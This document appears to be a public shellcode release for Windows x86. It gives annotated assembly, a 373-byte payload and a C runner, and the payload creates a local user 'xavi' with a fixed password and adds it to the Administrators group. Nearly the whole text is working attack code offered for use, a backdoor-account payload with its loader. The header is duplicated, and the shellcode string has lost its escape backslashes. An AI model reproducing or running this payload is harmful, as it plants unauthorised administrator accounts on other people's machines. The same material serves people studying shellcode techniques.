; Title: Name: Windows/x86 - Create Administrator User / Dynamic PEB & EDT method null-free Shellcode (373 bytes)
; Author: Xavi Beltran
; Contact: xavibeltran@protonmail.com
; ; Title: Name: Windows/x86 - Create Administrator User / Dynamic PEB & EDT method null-free Shellcode (373 bytes)
; Author: Xavi Beltran
; Contact: xavibeltran@protonmail.com
; Website: https://xavibel.com/2023/01/18/shellcode-windows-x86-create-administrator-user-dynamic-peb-edt/
; Date: 18/01/2022
; Tested on: Microsoft Windows Version 10.0.19045

; Description:
; This is a shellcode that creates a new user named "xavi" with password "Summer12345!". Then adds this user to administrators group.
; In order to accomplish this task the shellcode uses the PEB method to locate the baseAddress of the modules and then Export Directory Table to locate the symbols.
; The shellcodes perform 3 different calls:
; - NetUserAdd
; - NetLocalGroupAddMembers
; - ExitProcess

####################################### adduser.asm #######################################

start:
mov ebp, esp ;
add esp, 0xfffff9f0 ; To avoid null bytes

find_kernel32:
xor ecx, ecx ; ECX = 0
mov esi,fs:[ecx+30h] ; ESI = &(PEB) ([FS:0x30])
mov esi,[esi+0Ch] ; ESI = PEB->Ldr
mov esi,[esi+1Ch] ; ESI = PEB->Ldr.InInitOrder

next_module:
mov ebx, [esi+8h] ; EBX = InInitOrder[X].base_address
mov edi, [esi+20h] ; EDI = InInitOrder[X].module_name
mov esi, [esi] ; ESI = InInitOrder[X].flink (next)
cmp [edi+12*2], cx ; (unicode) modulename[12] == 0x00?
jne next_module ; No: try next module.

find_function_shorten:
jmp find_function_shorten_bnc ; Short jump

find_function_ret:
pop esi ; POP the return address from the stack
mov [ebp+0x04], esi ; Save find_function address for later usage
jmp resolve_symbols_kernel32 ;

find_function_shorten_bnc: ;
call find_function_ret ; Relative CALL with negative offset

find_function:
pushad ; Save all registers
mov eax, [ebx+0x3c] ; Offset to PE Signature
mov edi, [ebx+eax+0x78] ; Export Table Directory RVA
add edi, ebx ; Export Table Directory VMA
mov ecx, [edi+0x18] ; NumberOfNames
mov eax, [edi+0x20] ; AddressOfNames RVA
add eax, ebx ; AddressOfNames VMA
mov [ebp-4], eax ; Save AddressOfNames VMA for later use


find_function_loop:
jecxz find_function_finished ; Jump to the end if ECX is 0
dec ecx ; Decrement our names counter
mov eax, [ebp-4] ; Restore AddressOfNames VMA
mov esi, [eax+ecx*4] ; Get the RVA of the symbol name
add esi, ebx ; Set ESI to the VMA of the current symbol name

compute_hash:
xor eax, eax ;
cdq ; Null EDX
cld ; Clear direction

compute_hash_again:
lodsb ; Load the next byte from esi into al
test al, al ; Check for NULL terminator
jz compute_hash_finished ; If the ZF is set, we've hit the NULL term
ror edx, 0x0d ; Rotate edx 13 bits to the right
add edx, eax ; Add the new byte to the accumulator
jmp compute_hash_again ; Next iteration

compute_hash_finished:

find_function_compare:
cmp edx, [esp+0x24] ; Compare the computed hash with the requested hash
jnz find_function_loop ; If it doesn't match go back to find_function_loop
mov edx, [edi+0x24] ; AddressOfNameOrdinals RVA
add edx, ebx ; AddressOfNameOrdinals VMA
mov cx, [edx+2*ecx] ; Extrapolate the function's ordinal
mov edx, [edi+0x1c] ; AddressOfFunctions RVA
add edx, ebx ; AddressOfFunctions VMA
mov eax, [edx+4*ecx] ; Get the function RVA
add eax, ebx ; Get the function VMA
mov [esp+0x1c], eax ; Overwrite stack version of eax from pushad

find_function_finished:
popad ; Restore registers
ret ;

; Resolve kernel32 symbols
resolve_symbols_kernel32:
push 0x78b5b983 ; Kernel 32 - TerminateProcess hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x10], eax ; Save TerminateProcess address for later usage
push 0xec0e4e8e ; Kernel 32 - LoadLibraryA hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x14], eax ; Save LoadLibraryA address for later usage

; LoadLibraryA - samcli.dll
load_samcli:
xor eax, eax ;
push eax ;
mov ax, 0x6c6c ; # ll
push eax ;
push 0x642e696c ; d.il
push 0x636d6173 ; cmas
push esp ; Push ESP to have a pointer to the string
call dword [ebp+0x14] ; Call LoadLibraryA

; Resolve samcli.dll symbols
resolve_symbols_samcli:
; Samcli - NetUserAdd
mov ebx, eax ; Move the base address of samcli.dll to EBX
push 0xcd7cdf5e ; NetUserAdd hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x1C], eax ; Save NetUserAdd address for later usage
; Samcli - NetLocalGroupAddMembers
push 0xc30c3dd7 ; NetLocalGroupAddMembers hash
call dword [ebp+0x04] ; Call find_function
mov [ebp+0x20], eax ; Save NetLocalGroupAddMembers address for later usage

execute_shellcode:
; Useful registers
xor eax, eax ; eax = 0
xor ebx, ebx ;
inc ebx ; ebx = 1

; Group - Administrators
push eax ; string delimiter
; push 0x00730072 ; sr
mov edx, 0xff8cff8e ;
neg edx ;
push edx ;
; push 0x006f0074 ; ot
mov edx, 0xff90ff8c ;
neg edx ;
push edx ;
; push 0x00610072 ; ar
mov edx, 0xff9eff8e ;
neg edx ;
push edx ;
; push 0x00740073 ; ts
mov edx, 0xff8bff8d ;
neg edx ;
push edx ;
; push 0x0069006e ; in
mov edx, 0xff96ff92 ;
neg edx ;
push edx ;
; push 0x0069006d ; im
mov edx, 0xff96ff93 ;
neg edx ;
push edx ;
; push 0x00640041 ; dA
mov edx, 0xff9bffbf ;
neg edx ;
push edx ;

mov [ebp+0x24], esp ; store groupname in [esi]

; Username - xavi
push eax ; string delimiter
; push 0x00690076 ; iv
mov edx, 0xff96ff8a ;
neg edx ;
push edx ;
; push 0x00610078 ; xa
mov edx, 0xff9eff88 ;
neg edx ;
push edx ;

mov ecx, esp ; Pointer to the string
mov [ebp+0x28], ecx ; store username in [esi+4]

; Password - Summer12345!
push eax ; string delimiter
; push 0x00210035 ; !5
mov edx, 0xffdeffcb ;
neg edx ;
push edx ;
; push 0x00340033 ; 43
mov edx, 0xffcbffcd ;
neg edx ;
push edx ;
; push 0x00320031 ; 21
mov edx, 0xffcdffcf ;
neg edx ;
push edx ;
; push 0x00720065 ; re
mov edx, 0xff8dff9b ;
neg edx ;
push edx ;
; push 0x006d006d ; mm
mov edx, 0xff92ff93 ;
neg edx ;
push edx ;
; push 0x00750053 ; uS
mov edx, 0xff8affad ;
neg edx ;
push edx ;

mov edx, esp ; store password in edx

; USER_INFO_1 structure
push eax ; 0 - sScript_Path
push ebx ; 1 - uiFlags
push eax ; 0 - sComment
push eax ; 0 - sHome_Dir
push ebx ; 1 - uiPriv = USER_PRIV_USER = 1
push eax ; 0 - uiPasswordAge
push edx ; str - sPassword
push ecx ; str - sUsername
mov ecx, esp ;

; NetUserAdd([MarshalAs(UnmanagedType.LPWStr)] string servername, UInt32 level, IntPtr userInfo, out UInt32 parm_err);
; NetUserAdd(null, 1, bufptr, out parm_err);
push eax ; 0 - parm_err
push esp ; pointer to USER_INFO_1 structure ?
push ecx ; USER_INFO_1 - UserInfo
push ebx ; 1 - level
push eax ; 0 - servername

call dword [ebp+0x1C] ; NetUserAdd - System Call

; LOCALGROUP_MEMBERS_INFO_3 structure
mov ecx, [ebp+0x28] ; Domain = Username
push ecx ;
mov ecx, esp ; Save a pointer to Username

; NetLocalGroupAddMembers(string servername, string groupname, UInt32 level, ref LOCALGROUP_MEMBERS_INFO_3 buf, UInt32 totalentries);
; NetLocalGroupAddMembers(null, "administrators", 3, ref group, 1);
push ebx ; 1 - totalentries
push ecx ; LOCALGROUP_MEMBERS_INFO_3 - username
push 3 ; 3 - level 3 means that we are using the structure LOCALGROUP_MEMBERS_INFO_3
push dword [ebp+0x24] ; str - groupname
push eax ; 0 - servername

call dword [ebp+0x20] ; NetLocalGroupAddMembers - System Call

xor eax, eax ;
push eax ; return 0

call dword [ebp+0x10] ; ExitProcess - System Call


####################################### shellcode.c #######################################

/*

Shellcode runner author: reenz0h (twitter: @sektor7net)

*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char payload[] =
"x89xe5x81xc4xf0xf9xffxffx31xc9x64x8bx71x30x8bx76x0cx8bx76x1c"
"x8bx5ex08x8bx7ex20x8bx36x66x39x4fx18x75xf2xebx06x5ex89x75x04"
"xebx54xe8xf5xffxffxffx60x8bx43x3cx8bx7cx03x78x01xdfx8bx4fx18"
"x8bx47x20x01xd8x89x45xfcxe3x36x49x8bx45xfcx8bx34x88x01xdex31"
"xc0x99xfcxacx84xc0x74x07xc1xcax0dx01xc2xebxf4x3bx54x24x24x75"
"xdfx8bx57x24x01xdax66x8bx0cx4ax8bx57x1cx01xdax8bx04x8ax01xd8"
"x89x44x24x1cx61xc3x68x83xb9xb5x78xffx55x04x89x45x10x68x8ex4e"
"x0execxffx55x04x89x45x14x31xc0x50x66xb8x6cx6cx50x68x6cx69x2e"
"x64x68x73x61x6dx63x54xffx55x14x89xc3x68x5exdfx7cxcdxffx55x04"
"x89x45x1cx68xd7x3dx0cxc3xffx55x04x89x45x20x31xc0x31xdbx43x50"
"xbax8exffx8cxffxf7xdax52xbax8cxffx90xffxf7xdax52xbax8exffx9e"
"xffxf7xdax52xbax8dxffx8bxffxf7xdax52xbax92xffx96xffxf7xdax52"
"xbax93xffx96xffxf7xdax52xbaxbfxffx9bxffxf7xdax52x89x65x24x50"
"xbax8axffx96xffxf7xdax52xbax88xffx9exffxf7xdax52x89xe1x89x4d"
"x28x50xbaxcbxffxdexffxf7xdax52xbaxcdxffxcbxffxf7xdax52xbaxcf"
"xffxcdxffxf7xdax52xbax9bxffx8dxffxf7xdax52xbax93xffx92xffxf7"
"xdax52xbaxadxffx8axffxf7xdax52x89xe2x50x53x50x50x53x50x52x51"
"x89xe1x50x54x51x53x50xffx55x1cx8bx4dx28x51x89xe1x53x51x6ax03"
"xffx75x24x50xffx55x20x31xc0x50xffx55x10";

unsigned int payload_len = 373;

int main(void) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

RtlMoveMemory(exec_mem, payload, payload_len);

rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

printf("Shellcode Length: %d ", strlen(payload));

if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);

}

return 0;
}